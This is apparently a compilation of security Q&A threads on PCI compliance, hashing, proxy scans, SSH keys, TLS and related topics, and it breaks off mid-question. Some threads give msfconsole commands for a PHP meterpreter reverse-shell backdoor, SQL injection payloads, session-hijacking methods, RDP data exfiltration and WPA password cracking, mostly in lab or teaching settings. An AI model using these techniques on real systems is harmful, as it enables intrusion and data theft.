Any merchant accepting payments, regardless of the method, needs to be PCI compliant. To accommodate the various methods of accepting payment (outsource, redirect, iframe, POS, etc.) the PCI council has developed different self assessment questionnaires (SAQ). The SAQ forms are essentially a paired down list of requirements from the full PCI DSS. The requirements included in each of the SAQ forms are those that are most applicable to the way you accept payments.

Based on the method of processing you implement you will need to select the proper SAQ form, make sure you meet all the requirements list, and then complete the SAQ and Attestation of Compliance.


Why would one need to encode an MD5 hash string? Is it unsafe to display unencoded? I was reading this article which talks about a design to shorten URLs, and in the design section, it says that the given URL can be hashed using a hashing algorithm such as MD5, and then be encoded for display purposes using base64 or similar encoding.
I am confused so as to why would we need to encode a hashed string. Is it not safe to display an MD5 hash, or is there any other benefit? Can anyone shed some light on this? I tried searching online, and a lot of pages talk about encryption, etc but not about the above scenario.

Hash functions output binary data, usually as a byte array. This cannot be displayed correctly, therefore, you need encoding.
Transmitting binary data can create problems, especially in protocols that are designed to deal with textual data. To avoid it altogether, we don't transmit binary data. Many of the programming errors related to encryption on Stack Overflow are due to sending binary data over text-based protocols. Most of the time this works, but occasionally it fails and the coders wonder about the problem. The binary data corrupts the network protocol.
Therefore hex, base64, or similar encodings are necessary to mitigate this. Base64 is not totally URL safe and one can make it URL safe with a little work.
In another way, character encodings are reversible and don't require encryption keys. This has nothing to do with security; it is about visibility and interoperability.


NGINX Hacking Attempt Every time I start my test-server and let it run for some days I get this in my log-files (in different variations):

111.241.26.165 - - [18/Feb/2014:22:16:45 +0100] "\x04\x01\x00\x19\xCBER!\x00" 400 172 "-" "-"
111.241.26.165 - - [18/Feb/2014:22:16:46 +0100] "\x05\x01\x00" 400 172 "-" "-"
111.241.26.165 - - [18/Feb/2014:22:16:47 +0100] "CONNECT mx0.mail2000.com.tw:25 HTTP/1.0" 400 172 "-" "-"

Some WebApps like gitlab are running through nginx (proxy) with GoogleAuthenticator.
Should I setup IDS/IPS (for that few days) and if yes which one?

These are scans for proxy servers. The first one tests for a SOCKS4 proxy, the second one for a SOCKS5 proxy, and the third one tests if your server allows forwarding via a CONNECT request to "valuable" ports (SMTP in this case). You don't have to be worried about that, it's what you expect to see on public servers. Your server answers with return code of 400, so everything is fine.


Can network with two data diodes (incoming and outcoming) still be safe? I have a software which processes pure numerical data and gives some response.

To make it safe, I put it behind two data diodes: one for incoming data, and one for outcoming response.
The data diodes are implemented as customer-specific hardware.

Important point: the data diodes are 4-bit wide and thus allow only 4-bit words.
The data is purely numerical and encoded like this in binary form:

0000 = '0'
0001 = '1'
0010 = '2'
0011 = '3'
0100 = '4'
0101 = '5'
0110 = '6'
0111 = '7'
1000 = '8'
1001 = '9'
1010 = '.'
1011 = ';' (separator)

Is my software behind the data diodes is still safe from the hacker attacks?

I believe yes, because the 4-bit data words do not allow hacker send any malicious commands.
If they were 8-bit wide, then all ASCII characters would come through and the software would be vulnerable.

There are several use cases for data diodes and it is unclear what your use case exactly is and if data diodes are the solution for your unknown problem. But my guess is that data diodes are not what you actually need and that your current idea of how to use data diodes does not provide the security you envision:

One use case of data diodes is to make sure that data can only leave a system but never enter a system. This is for example used to get logging data out of industry systems but stop any data flow into the industry systems so that they cannot be attacked.
The other use case is to make sure that data can only enter a system but never leave it. This is for example used to feed data collected by a lower security environment into a system which contains very sensitive data and guarantee that no sensitive data can ever leak into the lower security environment, even in case of bugs or vulnerabilities.

Your use case is none of these.  Instead it looks like you want feed some data from outside into some service and get a response back, but still protect the service from being hacked from the outside. This bidirectional communication is not the use case for the unidirectional data diode. And by simply combining two data diodes you essentially allow (mostly unrestricted) bidirectional communication and thus do not protect the service.

What you probably would need instead is an application protocol level gateway, i.e. a system which allows restricted bidirectional communication. If properly enforcing the syntax and the semantics of the communication protocol, such gateway can make sure that the service gets only data which it can handle in a safe way and that only data leave the service which adhere to the defined syntax and semantics of the protocol - which severely limits both how the attacker could compromise the service and how he could make use of a successful compromise.


Buffer Overflow with Big Endian architecture Could anyone help to solve the following practice problem related to buffer overflow?

On this problem, I am confused about how the variables and addresses should be stored within the stack. Here is my best guess, but I'm not confident that it is correct:

On this problem, I would think you would just need to fill up the stack with values corresponding to '0x41414141' until you got to the stored frame pointer. However, I'm not really sure what these values would be or how many to use.

The stack grows "downwards", i.e. from high addresses to low addresses. In the stack diagram that you are supposed to fill, addresses are "reversed" (address 0x00000004 is below address 0x00000000, not above it), so, in that diagram, the stack grows "up".

(The point to understand here is that there is no notion of gravity in the computer; the "up" and "down" are relative to a conventional direction, which may be that of a table on a piece of paper, or that of numerically growing address values, or whatever. Here, the table indicates addresses explicitly, with arrows that confirm the convention.)

So the 0x12ab34cd word (local variable a) should appear at addresses 0x00000014 to 0x00000017, immediately above the stored frame pointer. The buffer array is then immediately above that (addresses 0x00000008 to 0x00000013).

While the stack grows towards "low" addresses (the stack pointer is decremented when a value is pushed on the stack), the buffer is ordered towards "high" addresses (buffer[0] is at address 0x00000008, buffer[11] is at address 0x00000013).

That the machine is "big-endian" matters only for the ordering of bytes within a single word. It does not impact the order of appearance of words within the stack. Said otherwise, that the stack is "growing down" is not a consequence of the machine being "big-endian".

(Note: there have been some architectures with stacks "growing up" but they are quite uncommon these days, and the exercise would make no sense with a "growing up" stack.)


MSFConsole/Kali Linux - gain root access to unix system I am messing around with Kali Linux, MSFConsole and DVWA (Damn Vulnerable Web Application).

I have successfully been able to get into the system (Raspberry Pi) by creating a PHP backdoor and uploaded it via SQL injection.

Now I have access the system, the only issue is I am running as www-data (wouldn't it be nice to become root to create your own super user account?!) Is it possible to somehow privilege escalate in Linux (Raspbaian) by using MSFConsole, BASH (from the backdoor) or another way?

I have tried to run "use priv" in the meterpreter prompt but the error I get is 'Failed to load extension: No module of the name ext_server_priv.php found'. If it helps I am running the reverse_tcp exploit as a PHP script.

I was able to compromise the system by running this is Msfconsole

use php/meterpreter/reverse_tcp
set LHOST <my IP>
generate -t raw -f hackme.php
use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST <my IP>
exploit

I then uploaded hackme.php to the web server via the insecure file upload, after I done that I then browsed to the uploaded file.

Credit goes to this video for giving me the above code. (I had to use the generate function instead of msfpayload because that functionality has been moved due to it being deprecated.)

At this point you've achieved the basics of a compromise on the system and you're on to the common phase two of exploitation which is privilege escalation.

Exactly how you can achieve that depends very much on the system in question, what code is installed on it and how it's configured.  Some options for things to look for to get privilege escalation on a linux system

SetUID root binaries that are writable by the user you are running as.  if you can find something you can overwrite which, when executed, will run as root, you can use this to escalate your privileges.
Vulnerabilities in system services running as root. This will likely depend on the patch status of the system that you're running on.

Other things which apply more in "real-world" security tests but which are unlikely to apply to your situation

Credentials exposed in files on the system.  This can be a common way to exploit systems.
Password guessing attacks.  Guessing credentials is a good way to gain additional access
Pivoting from your attacked system to another one in the same network.  Typically once an attacker has a foothold in a network they will scan for other systems which may have additional mid-configurations that could be exploited.


How unique should I make my SSID? Some say that a 32-character random string is a good idea for SSID names:

Treat your WiFi network name as you would a password. Make it complex and avoid using any whole words. Maximum length for an SSID is 32 characters.
I use something like "ASZumFY2J6JeIbpv8xNWVRqmY8SDF8AX" (without quote marks) for my SSID. You can use one of the key generators below to generate your own random SSID. Just trim it back to 32 characters, and you'll have a very strong one.

Others say it can be too unique:

Pick an SSID that is neither very common nor one that is very unique...
There are a number of sites where you can go to look up a SSID and get a location for the network. A prime example is WiGLE.net. If you have a very unique SSID and your network is listed in such a database, this can provide a physical location of your network, which can have a number of negative side effects.

Are these side effects a real concern? The bottom line: how unique should I make my SSID to be a sufficiently strong salt while keeping in mind "side effects" and the nuisance of a user-unfriendly 32-character string?

According to IEEE specification 802.11i WPA2 networks use the SSID as a salt in the following way.

PSK = PBKDF2(PassPhrase, ssid, ssidLength, 4096, 256)

In order to avoid the use of rainbow tables you are correct in thinking that you should have a unique SSID. However your second point regarding the aspect of being 'too unique' I don't really buy into a whole lot. Wigle.net can also take BSSID (your router's MAC address) as a search parameter, which is arguably more unique anyways. On top of that, having your AP possibly show up on a map with millions of other APs may or may not be acceptable.

To answer your question I don't think there is any harm in being "too unique". Users typically have to type in only the password and the the SSID that they are connecting to, so the usability shouldn't be affected very often.


Can a Man-in-the-Middle-Attack be achieved by adding a cloudfront distribution origin of a domain not owned by me? Cloudfront supports adding external origins, i.e. domains that are not S3 buckets or ALBs. This led me to wonder whether adding domains that are not owned by the entity as an origin could allow for intercept the request payload, and potentially act as an Man in the Middle Attack.
Let's say I have a REST API running on ECS behind an Application Load Balancer(ALB) on AWS. The ALB is fronted by a cloudfront domain, called abcd.cloudfront.net. As one would expect, there's a CNAME record setup on the DNS provider called app.mysite.com pointing to the cloudfront domain with a valid SSL cert from ACM. The ALB has a rule to only allow requests that have the header HOST:app.mysite.com. This create a pretty standard API flow on AWS.
What would happen if someone, with no access to my AWS account, sets up a new cloudfront domain, abcd2.cloudfront.net with the domain app.fake-mysite.com and valid ACM cert for app.fake-mysite.com, and adds a behavior to point to app.mysite.com. Can this external entity use it's own ACM cert to cause a Man in the Middle Attack?
The request flow would look like this:
app.fake-mysite.com -> abcd2.cloudfront.net -> app.mysite.com -> abcd.cloudfront.net -> my-alb.domain -> 10.0.0.100:8080 (REST API)
Would it be possible for the external entity to intercept the request at the first hop and capture the encrypted data? If so, how can this be prevented?
As far as the REST API container is concerned, the request would have originated from the app.mysite.com, and would be completely unaware of this wrapper cloudfront distribution (app.fake-mysite.com)
Note: I had initially asked this question on Stackoverflow, and I was told this is a better place to discuss this.

What you describe is basically providing access to a website under a different domain, i.e. a domain you own yourself. This can not only be achieved with Cloudfront but also with running a reverse proxy on any publicly reachable system/VPS you control yourself.
But, you have to somehow trick the victim into visiting your site and not the original site - which is a different domain. If the victim is using a password manager it will not automatically fill in passwords, since these are for a different site. So it is less a traditional MITM attack were the victim still tries to access the original site. It is more a phishing attack, where the victim is tricked into using a different site. Nevertheless, it can be successful.


Blind SQL Injection and HTTP Version Dependency? I Recently came across a Virtual Machine that has Blind SQL Injection in the X-Forwarded-For header.

I used sleep() to detect the vulnerability.
The Payload worked in HTTP/1.0 and not in HTTP/1.1 .

PAYLOAD:

GET / HTTP/1.x
X-Forwarded-For: hacker' OR sleep(5) AND '1'='1 --+
Connection: close

RESULT:

For HTTP/1.1 : I Immediately get 400 Bad Request
For HTTP/1.0 : I get 200 OK after 5 seconds

I used Burp Repeater to craft the packet.

VM-Link: https://www.pentesterlab.com/exercises/from_sqli_to_shell_II
Could someone help me understand the Issue here ?
Thanks.

The Payload worked in HTTP/1.0 and not in HTTP/1.1 .

TL;DR: it worked in HTTP/1.0, it failed with an invalid HTTP/1.1 request but succeeded with a valid HTTP/1.1 request.

Have a look at the request which was sent:

GET / HTTP/1.x
X-Forwarded-For: hacker' OR sleep(5) AND '1'='1 --+
Connection: close

While HTTP/1.0 and HTTP/1.1 look about the same there are some important differences. One is that HTTP/1.1 requires the client to send a Host header in the request, i.e. something like Host: www.example.com. While this header was possible and widely used with HTTP/1.0 too it was not mandatory in HTTP/1.0 but is mandatory in HTTP/1.1. This means that the request you send is actually invalid with HTTP/1.1 which explains the response you get back from the server:

  For HTTP/1.1 : I Immediately get 400 Bad Request

This immediate response from the server means that the request was rejected and not forwarded to the vulnerable web application. The well-formed HTTP/1.0 request instead was not rejected and resulted in the successful exploit:

  For HTTP/1.0 : I get 200 OK after 5 seconds

After the HTTP/1.1 request was fixed the exploit worked there too:

  Once I added Host Header. SQLi worked with 1.1 as well.


How to prevent an infected PC from infecting other machines on the same network? My father is pretty careless about his security and this is not new. He even said to me that in the last year he used Tor to access some links just for curiosity because he read about it in some news and followed a tutorial on the internet to do this.

Last night, I used his PC and saw strange programs running and, in his history, that he accessed some adult sites and some strange URLs, too (probably from ads and pop-ups in these sites). Antivirus doesn't work because he clicks on everything.

I spoke with him many times but nothing has an effect and I'm tired of this. I have blocked all inbound connections in my PC's firewall, so I can't see anything suspicious, but my mother has her own PC and she is a very non-technical user, so it's not an option to install a firewall that asks about every new connection, and I don't have time to monitor her PC all the time. Furthermore, we all have our own smartphones, so even if our PCs are protected, the smartphones are not.

Is there a way that I can be free from this terrible headache and protect our devices? I don't have knowledge in networks, I don't even know if my worries are relevant, so I will appreciate non-technical language, if it is possible.

Unfortunately, my router does not support VLAN. Is there anything that I can do without this option?

Obs: all the devices are android or windows.

If your router supports VLAN, you can create a VLAN for your father, another for everyone else, and forbid intra-VLAN communication. This will isolate your father from the network.


How to detect a string in HTML with Snort? I am trying to detect a string in HTML (already unzipped) with Snort. I set this rule to find content 7038685658 in my Apache web server's HTML:

alert tcp any any <> any any (msg:"cell"; file_data; content:"7038685658"; sid:9000001)

This is the location where the content is:

But I can not detect any alert from Snort. What am I doing wrong?

Try this

alert tcp any any <> any any (msg:"cell"; content:"7038685658"; sid:9000001;http_client_body; )

Make sure you are not loading a cached copy in the browser.


Open source or common implementations for reverse proxy web application security I realize there is already a question similar to this one, but this is somewhat of a follow-up.

I understand that a reverse proxy server by itself is hardly useful as a web app security measure because it just kind of "hides" the server behind it, protecting it from fingerprinting, DDoS possibly, yada yada. However, I believe that implementing say snort + squid might accomplish some application-level security because you could analyze traffic for common attack patterns. But I have not seen very much info on the net about what products, open source projects, or even just recipes for this type of system are available.

The motivation for this question is that I support an OLD legacy app that is based on a heavily modded, insecure, and un-upgradable version of Apache2. I CANNOT just place mod_security2 in the conf, it will not work (I can't get the sources to this messed up old distribution of apache to compile mod_security2). So, I thought the next best thing would be to implement a reverse proxy type of solution, since then not only could this solve my immediate problem for this legacy app, but also if set up correctly I could see it being used for future apps as well - central web app security.

Is my mode of thinking incorrect? If it is not totally off-base, there must be some existing solutions, products, projects, recipes, etc out there. Is squid+snort all I need?

EDIT: And how does this all work when I need to do this with encrypted traffic as well?

Using mod_security as a reverse proxy is common,  especially in the IIS world where only recently has a free WAF has become available.  Apache running as a reverse proxy will handle your SSL handshakes,  so this won't be a problem.
However it sounds like you have a MUCH BIGGER PROBLEM on your hands.  If you can't update Apache you are completely and totally lost.  I guarantee you that there are publicly available exploits for your system.  There are new security systems available for Linux such as AppArmor and SELinux, not having these is a fatal mistake.
I am not sure why you think it's okay to have an extremely old system and that putting a band-aid over it is acceptable behavior.  If a security expert sees this they are going to be very concerned.  A WAF is in no way shape or form a substitute for fixing known vulnerabilities in your system (period).  A WAF is just another layer, and you must plan on failure.  (And a WAF will be the first to fall because it is usually the weakest.)


How to hijack a session? Despite the blatant title of the question, this is actually for a genuine purpose.

My site uses PHP code like this:

    $select="select id from tableA where user_id='".$_SESSION['sess_user_id']."'";

I'm really trying to think like a hacker and figure out how I can alter this value. I've read articles talking "about" session hijacking, but being vague about how that can be done...

Basically when you hijack someones session you take their sessionID and pretend its your own. Usually the sessionID is transferred in the cookie, meaning that if you can access the other parties cookie you can just put it in your own cookie and you've stolen their session.

This can be done in several ways, for example by sniffing the wireless network and looking at the HTTP packets being transfered or by XSS attack where you can tell the victims browser to reveal their cookie information to you.

I would like to mention that the example you describe in your question may also be vulnerable to SQL-Injection. If I change my cookie's sessionID to

asdf' OR 1=1--

I would most likely be authenticated as a valid user. To prevent this you have to make sure you have proper sanitizing on dirty data coming from your clients before you use the data for anything.


Unusal GET requests in my nodejs journal - has my nginx/node been hacked? Saw this in the journalctl for a service I have:
jul 29 12:39:05 ubuntu-18 node[796]: GET http://www.123cha.com/ 200 147.463 ms - 8485
jul 29 12:39:10 ubuntu-18 node[796]: GET http://www.rfa.org/english/ - - ms - -
jul 29 12:39:10 ubuntu-18 node[796]: GET http://www.minghui.org/ - - ms - -
jul 29 12:39:11 ubuntu-18 node[796]: GET http://www.wujieliulan.com/ - - ms - -
jul 29 12:39:11 ubuntu-18 node[796]: GET http://www.epochtimes.com/ 200 133.357 ms - 8485
jul 29 12:39:14 ubuntu-18 node[796]: GET http://boxun.com/ - - ms - -

These GET requests are not coming from any code I've written.
"Correct" entries look like this:
jul 29 12:41:46 ubuntu-18 node[796]: GET / 304 128.329 ms - -
jul 29 12:41:47 ubuntu-18 node[796]: GET /stylesheets/bootstrap.min.css 304 0.660 ms - -
jul 29 12:41:47 ubuntu-18 node[796]: GET /stylesheets/font-awesome-4.7.0/css/font-awesome.min.css 304 0.508 ms - -
jul 29 12:41:47 ubuntu-18 node[796]: GET /img/250x250/deciduous_tree_5.thumb.png 304 0.548 ms - -
jul 29 12:41:47 ubuntu-18 node[796]: GET /stylesheets/style.css 304 7.087 ms - -
jul 29 12:41:47 ubuntu-18 node[796]: GET /img/logos/250x250/brf_masthugget.250x250.jpg 200 0.876 ms - 9945

The server is a nodejs instance v8.10.0, running on nginx v1.14.0, running on up to date Ubuntu server 18.04.
The ubuntu is a Digital Ocean droplet.
I've tried generating similar requests from a javascript console, but my the browser blocks access to http (not allowing mixed http and https); if I try https I get cross-origin error - which is good :)
I'm puzzled as to how these GET requests are being generated/sent?

This format is used by a kind of HTTP proxy.
Unless your server is actually misconfigured or hacked to be used as a proxy (you should get rid of the browser limitation and test it out), it may have the following possibilities:

Someone is scanning a wide range of IP addresses for open proxies.
Someone is testing the availability of an open proxy once existed before you created this server and this IP address is allocated to it.
Someone who happens to know your website is testing the keyword filter (note: not the only filter) between mainland China and the rest of the world.
Someone tries to get your server blocked from a specific IP address in China by a few minutes. Usually not a big problem because it could only block the sender's own IP address (as I know). But I've heard rumors that a malicious software maker uses this method to block an overseas potential competitor (but never knew a confirmed case). In this case there must be a lot of such requests from different IP addresses in China, which may already be a kind of DDoS to make it actually working, unless your users are from a very small group that all already have the other software installed.


Is anyone seeing a performance decrease after applying recent kernel patch fixing Meltdown and Spectre? Our company has a lot of CPU intensive operations on our servers, so the performance decrease is a concern for the organization.

We did the benchmarks, and it seems that performance is almost not affected. Initially it was stated that performance will be decreased by approx. 30% after applying the patches.

Could anyone share any data on this? Without unnecessary details like company names, etc.

The performance impact will vary greatly depending on what the program does.

After the Meltdown patch (KPTI) whenever there is a context switch from user-space to kernel-space there is a significant overhead because of the frequent flushing of the kernel page tables.

So this means that a program that relies on frequent context switching (like a database or an hypervisor) will see a big performance impact, while others may hardly notice any.


Can location apps locate a lost phone if someone switches out the SIM card? I lost my T-mobile Galaxy S7 somewhere between the front seat of my car in the parking lot at the grocery store and the first few aisles inside the store.  (None of us remember exactly if I actually carried it into the store.) We have torn apart the car, all our grocery bags, and the house with no luck.  No one turned it in at the store.  And, none of my three location apps (Google, AVG, Samsung) have been able to locate the phone.

The phone either ran out of batteries shortly after being lost, or someone found it and powered it off.

If someone powered it off, removed my SIM card, and put in a new one:

Would my phone number be alerted that the SIM card for my phone had changed? (When I bought a replacement phone and activated a new SIM, my phone got a text message saying the SIM card associated with my phone number had changed.)
Would my location apps be able to find the phone with the new SIM card?

Thank you

Phone location apps use the Internet. They couldn't care less if they're accessing it through a different mobile internet contract (different SIM), or Wi-Fi, or even Ethernet.

The only issue could be that if the phone is locked with a passcode, and the new SIM was locked with a PIN, and the phone needed to be unlocked before allowing the user to enter the PIN. So after the SIM swap the phone has no way of connecting because the SIM is locked, and at the same time the thief has no way to unlock the SIM (even if he knows its PIN code) because he doesn't know the phone's passcode, so he can't reach the SIM unlock prompt.

Most likely though, the thief wasn't a complete idiot and reinstalled the phone right away, wiping any apps that could report its location to you.


How to exfiltrate data over remote desktop I sometimes come across systems that are segregated in a way I know to be flawed. The arrangement usually looks like this:

There is a general IT environment, which follows best practice: patching, anti-virus, password policy, USB disabled, etc. However, there needs to be a balance of security and usability in this environment (e.g. Internet access is allowed) so it is inherently at risk, and would be an easy target for APTs.

There is also some super sensitive database, which sits behind its own firewall. The only access to the database is remote desktop inbound, and maybe a WSUS server outbound. The admins argue that this database is "tightly restricted" and there is no way that data could be exfiltrated. Generally, remote desktop is correctly locked down - shared drives and clipboard are disabled.

I know this is flawed. If a workstation is compromised, an attacker can quietly sit and harvest the remote desktop credentials. They can then take control of the database through remote desktop. The final piece of the puzzle is to exfiltrate the data. I know in theory it is possible to do this. For example, the malware on the database could encode data as QR codes, display it on screen, and let remote desktop relay it to the client. The client could parse QR codes in the remote desktop session and capture data. In fact, I'm sure much more efficient schemes than QR codes could be used.

However, I don't currently have a practical means to exploit this. Do you know a practical way to exfiltrate data in this situation, something a bit like sqlmap?

Some remote desktop protocols have a shared clipboard.  In this case, exfiltrating data is simply a matter of copy-and-paste: copy on the remote desktop, paste on the local one.

Some protocols have built-in file transfer.  Exfiltrating data becomes as simple as dragging the database files from the remote desktop to the local one.

All remote desktop protocols support video display.  Exfiltration can be as primitive as starting a screen-recording program on the local system, watching the desired data scroll by, and transcribing it at your leisure, or a more sophisticated system such as automated OCR or the QR-code scheme mentioned in the question can be used.

If the data can be viewed remotely, it can be exfiltrated.  It's just a question of how easy it is.


Why use dedicated SSH keys for different hosts (like GitHub)? I recently discovered github-keygen, a tool that helps you set up SSH for use with GitHub.  One of the things the tool does is to create a new SSH private key dedicated to GitHub exchanges; the manual claims that "this is much better than using the same SSH key to connect to multiple hosts".  I don't understand why using a dedicated key for GitHub is supposed to be better.  The manual justifies this practice as follows:

  (If you loose [sic] that key, just revoke it in your GitHub account SSH settings, remove the key file, and re run github-keygen).

But surely this the same thing you'd do if you'd lost a non-dedicated SSH key – you'd remove it from your list of authorized keys on GitHub (and from the authorized_keys file of every other remote machine you use) and then generate a new one.  What does using dedicated SSH keys for different remote hosts (like GitHub) buy you?

Why use dedicated SSH keys for different hosts (like GitHub)?

Answer: Revocation.

When you lose an SSH key, you have to revoke it on everything it had access to. If you use the same key on GitHub as you use to SSH in to your personal web hosting, you have to remove the key from both places. One key per service means none of your other keys are impacted by loss.


What is the purpose of an API Token and an API Secret? So if a user authenticates to the site using a username/pw, they get a session token which is passed back to the server to validate who they are.

However when you use an API like twitter or 4square, you have both a token and a secret.  What extra value is there in adding an api secret to the api token especially if you are going to send both of them in the URL.

The only plausible thing I've been able come up with is it makes the numberspace REALLY big, but a 128bit token already has a HUGE numberspace, so that makes be believe that is probably no the reason for the extra value.

So why have 2 values, both of which are transmitted in each request?

This statement is incorrect:

  both of which are transmitted in each request

The secret is never sent. Instead, each request is signed with the secret. From the Twitter API documentation, the data that is sent is in the Authorization header is:

OAuth oauth_consumer_key="xvz1evFS4wEEPTGEFPHBog",
    oauth_nonce="kYjzVBB8Y0ZFabxSWbWovY3uYSQ2pTgmZeNu2VS4cg",
    oauth_signature="tnnArxj06cWHq44gCs1OSKk%2FjLY%3D",
    oauth_signature_method="HMAC-SHA1",
    oauth_timestamp="1318622958",
    oauth_token="370773112-GmHxMAgYyLbNEtIKZeRNFsMKPR9EyMZeS9weJAEb",
    oauth_version="1.0"

The documentation continues to say:

  The oauth_signature parameter contains a value which is generated by running all of the other request parameters and two secret values through a signing algorithm. The purpose of the signature is so that Twitter can verify that the request has not been modified in transit, verify the application sending the request, and verify that the application has authorization to interact with the user’s account.

As the documentation states, the signing is used for authentication and to ensure that the request isn't tampered with after it has been signed.

Another advantage of this authentication strategy is that it interacts well with stateless services.


Can a firewall recognize (and block) outbound traffic that consists of screen shots? I recently watched this YouTube video about capturing webcam image traffic using Wireshark. Although the technique used in the video is not applicable to my question (because it is about a MITM situation), it shows how image data, such as from webcams, is sent across a network.

What I am mainly interested in is blocking screen shots taken by malware and similar code.

Question:
Is it feasible to have a hardware firewall device to keep an eye on packet data and remove packets that contain images, or is this sort of low-level analysis typically too taxing for a consumer-grade devices?

Deep packet analysis or similar would be able to detect the transfer of images in general if the attacker does it in a stupid way, i.e. just as a HTTP post or similar and without any attempt to hide it (even a simple XOR with a fixed value or swapping of bytes or similar would likely be enough to be hidden). But even then it would be hard to impossible to distinguish a screen shot send by malware from an image send by the user, especially since the user might post screen shots too. Apart from that consumer.grade devices usually don't do the necessary deeper payload analysis but look mainly at IP and port.

In other words: I doubt that any firewall does this and if it claims to do this an attacker could likely easily bypass this. It is probably more useful to look at other properties of the communication instead, like unusual user agents, unusual behavior (i.e. does not look like normal browsing), suspicious communication targets etc. None of this provides reliably detection without false positives but it can point some analyst to the suspicious things to take a closer look.


How can PGP and openPGP be compatible? PGP and openPGP use different encryption algorithms. As I understand, PGP uses IDEA to encrypt a message, then RSA to encrypt the IDEA key. If openPGP doesn't use IDEA, how can it read PGP-encrypted messages?

PGP is the application which implements OpenPGP standard and adds some proprietary extensions. Consequently, as any other standard-compliant application it can interoperate with other applications which comply to the same standard.

Practically there exist old versions of PGP software which are limited in algorithms and features they support. Eg. PGP 2.6.3 used IDEA and RSA keys, while PGP 6.5 used CAST by default and Elgamal keys (if memory serves). But both these versions are outdated.

Modern versions of PGP and other OpenPGP-compatible software support probably everything the standard offers (i.e. all algorithms).

Your understanding is partially correct: if some implementation doesn't support the algorithm used in encrypted or signed message, it will fail to process this data. But as said, modern implementations (of PGP, GnuPG, our SecureBlackbox etc) handle all algorithms so problems happen only when it is old PGP used to process data encrypted or signed using modern implementations.


What benefit is there to adding a password to your SSH key? If you run the following command on a Linux/Unix machine, among other things, you get a prompt for a password:

$ ssh-keygen -t dsa
Enter passphrase (empty for no passphrase):

What does adding a password to your SSH key actually do? Is it more secure to use a password when prompted?

Adding a password to your SSH key means that the private key will be stored encrypted on your local machine. That private key is a rather sensitive secret since knowing that key grants access to all servers on which you registered the corresponding public key (in your .ssh/authorized_keys file).

Secrets in local files can be plundered by attackers in various occasions:

Your laptop is stolen.
Your harddisk breaks down (it happens) and you discard it, and the attacker retrieves it from your dumpster, repairs it (e.g. the broken part was the electronic board, and the attacker simply replaces it), and reads your files.
You make a backup of your files on some external device (USB drive, tape...) and the attacker steals it.
Some malware on your machine takes a peek at your files and uploads your private keys to a server in Uzbekistan.
Through some unfortunate configuration mishap, you make your files available to the world at large (e.g. with disk sharing, or with a local Web server which was not correctly setup).
A vulnerability in your Web browser temporarily allows evil-minded Javascript to read and upload some arbitrary files, e.g. your SSH private keys.

This list is not exhaustive. In all these occasions, password-based encryption of your SSH private key will make the life harder for the attacker. Note that your files are likely to contain other sensitive information as well, so SSH private key encryption is not sufficient to reach the beatitude of absolute security; however, it helps.

Of course, there is nothing completely free. If you use a password to protect the on-disk storage of your private key, then you will have to type that password on a regular basis. As usual, security and convenience are two sides of a trade-off.


Does TLS (Transport Layer Security) protect against deliberate tampering or accidental corruption? If someone tampers with data being transmitted over HTTPS using TLS, would that result in a corrupted decrypted message or would it result in the error being detected such as through a cryptographic checksum and retransmitted?

This has security implications as well as accidental corruption implications (https://stackoverflow.com/questions/3830206/can-a-tcp-checksum-fail-to-detect-an-error-if-yes-how-is-this-dealt-with).

It depends on where the data was changed and all you mentioned outcomes are possible. TLS messages has some public scructure. For example, TLS record:

and if its structure is broken, then entire message is considered broken. This doesn't necessarily say if encrypted data was additionally tampered.

If only ciphertext was tampered so entire structure remains valid, it may result in decryption failure. If payload is tampered and was successfully decrypted, then signature validation will fail.

If MAC field is tampered, then it will result in signature validation failure. MAC protects only payload and is used only when payload is successfully decrypted.

Either way, tampering will be detected, only detection reason will be different depending on what exactly was tampered. RFC 5246 defines a set of messages:

enum {
   close_notify(0),
   unexpected_message(10),
   bad_record_mac(20),
   decryption_failed_RESERVED(21),
   record_overflow(22),
   decompression_failure(30),
   handshake_failure(40),
   no_certificate_RESERVED(41),
   bad_certificate(42),
   unsupported_certificate(43),
   certificate_revoked(44),
   certificate_expired(45),
   certificate_unknown(46),
   illegal_parameter(47),
   unknown_ca(48),
   access_denied(49),
   decode_error(50),
   decrypt_error(51),
   export_restriction_RESERVED(60),
   protocol_version(70),
   insufficient_security(71),
   internal_error(80),
   user_canceled(90),
   no_renegotiation(100),
   unsupported_extension(110),           /* new */
   (255)
} AlertDescription;


Why does john force MinLen to 8 for wpapsk? I'm trying to use john to test wpa security. I want it to generate 10-character passwords, so I've added this to john.conf:

[Incremental:Test]
File = $JOHN/alnum.chr
MinLen = 10
MaxLen = 10
CharCount = 62

However, when I run john --format=wpapsk --session=mysession --incremental=Test data, it prints:

  Note: minimum length forced to 8

and still generates 8-character passwords. What am I missing?

and still generates 8-character passwords. What am I missing?

"incremental" mode is limited to lengths up to 8 by default, at
compile time.

  How to deal with this ?

Download JTR source code

Now edit the src/params.h file - replace the following lines (around
line 200):

define CHARSET_MIN ' '
define CHARSET_MAX 0x7E
define CHARSET_LENGTH 8

with:

define CHARSET_MIN ' '
define CHARSET_MAX  0x7E
define CHARSET_LENGTH 10

Then let's rebuild JtR with this modification:
And generate a new .chr file:

  ./john --make-charset=digits10.chr

Now you can define a new "incremental" mode:

[Incremental:Digits10]
File = $JOHN/digits10.chr
MinLen = 10
MaxLen = 10
CharCount = 64

hope this will work for you


Send a redirect after HTTPS certificate rejection I would like to create a chain of HTTPS 302 redirects to a series of domains (for research purposes). I want also to make sure that I can do a redirect if one of the certificates in my chain has been rejected. That is I would like the following steps to occur:

Do a redirect to URL 1
The certificate gets rejected on the client due to some reason.
Certificate rejection sends some sort of an indicator on the server, which then subsequently sends a redirect to another URL 2 with a valid certificate.

I do understand that a successful TLS negotiation needs to occur, before I am able to send an HTTPS 302 redirect to another location, but I was wondering if there is any indication on the server when an HTTPS certificate has been rejected (apart from not receiving any request even after some delay), to enable it to send a redirect to another URL with a valid certificate.

No, this isn't possible with browsers. The failure is signalled by the client, and at that point it won't retry the connection, and there's nothing the server can respond with to make that happen. If a server could cause this type of redirect it could be abused to fingerprint the client's TLS support.


Does the SSL/TLS client certificate "hash over all previous messages" step hash the entire TCP packets or just data? We have which uses TLS client certificates as it's authentication mechanism between client and server.

There is an IT department which wants to run this app through a firewall/proxy device of some sort, (client app is on the internet, server is behind their firewall/proxy device) and apparently they want to modify the TCP headers in some way (I'm not sure exactly what this entails and I've been unable to find out).

The IT department tells us they have this working with other apps using SSL or TLS, but none of these apps are using client certificates.

At any rate, the secure connection is failing.
